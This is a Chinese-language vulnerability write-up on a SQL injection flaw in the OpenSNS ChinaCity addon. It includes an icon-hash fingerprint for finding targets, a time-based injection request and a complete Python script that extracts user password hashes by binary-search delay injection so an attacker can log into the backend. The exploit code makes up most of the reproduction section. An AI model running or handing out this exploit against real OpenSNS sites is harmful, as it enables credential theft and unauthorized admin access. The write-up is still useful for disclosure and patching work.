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OpenSNS ChinaCityController.class.php SQL注入漏洞

# OpenSNS ChinaCityController.class.php SQL注入漏洞 ## 漏洞描述 OpenSNS ChinaCityController.class.php文件中，可通过拼接SQL语句执行任意SQL命令，获取用户账号密码 ## 漏洞影响...

OpenSNS ChinaCityController.class.php SQL注入漏洞
=============================================

漏洞描述
----

OpenSNS ChinaCityController.class.php文件中，可通过拼接SQL语句执行任意SQL命令，获取用户账号密码

漏洞影响
----

OpenSNS

网络测绘
----

icon\_hash="1167011145"

漏洞复现
----

登录页面如下

![img](https://shs3.b.qianxin.com/butian_public/f4246108494a33074cb855694b1bc7e57610c88b2b4b5.jpg)

存在漏洞的文件为`Addons/ChinaCity/Controller/ChinaCityController.class.php`

![img](https://shs3.b.qianxin.com/butian_public/f273270969d9649ae883996dcc494dd61f1b4f596cdf9.jpg)

其中用户可控参数为 cid 和 pid, 通过调试查看SQL语句

![img](https://shs3.b.qianxin.com/butian_public/f3299057fb50f7c679fe4aac23e47fd5ca66cbcdd5761.jpg)

通过构造请求闭合SQL语句，造成SQL注入

```php
POST /index.php?s=/home/addons/_addons/china_city/_controller/china_city/_action/getcity.html

cid=0&pid[0]==(select*from(select+sleep(3)union/**/select+1)a)and+1+in+&pid[1]=1
```

![img](https://shs3.b.qianxin.com/butian_public/f6840156821374d105eaa748622a14b5c7473a2581d78.jpg)

通过二分法延时注入可以获取用户账号密码，登录后台

```php
import time
import requests

url = "http://peiqi.com:8888/index.php?s=/home/addons/_addons/china_city/_controller/china_city/_action/getcity.html"

flag = ""
for i in range(1,100):
    low = 32
    high = 128
    while low < high:
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Requested-With": "XMLHttpRequest"
        }
        mid = (low + high)//2
        data = "cid=0&pid[0]==(select*from(select+if(ascii(substr((select/**/password/**/from/**/ocenter_ucenter_member),{},1))<{},sleep(2),1)union/**/select+1)a)and+3+in+&pid[1]=3".format(i,mid)
        timeStart = time.time()
        r = requests.post(url=url, data=data, headers=headers)
        timeEnd = time.time()
        # print(r.text, low, high, data,timeStart-timeEnd)
        if timeEnd - timeStart >= 1: 
            high = mid
        else:
            low = mid + 1
    if low == high == 32:
        print("No  result")
        break
    flag += chr((high + low - 1)//2)
    print(flag)
```

![img](https://shs3.b.qianxin.com/butian_public/f272867b2d287b31ffc8c89859551e24f686e55b260a0.jpg)

发表于 2024-07-12 18:43:30
阅读 ( 662 )
分类：CMS

OpenSNS ChinaCityController.class.php SQL注入漏洞

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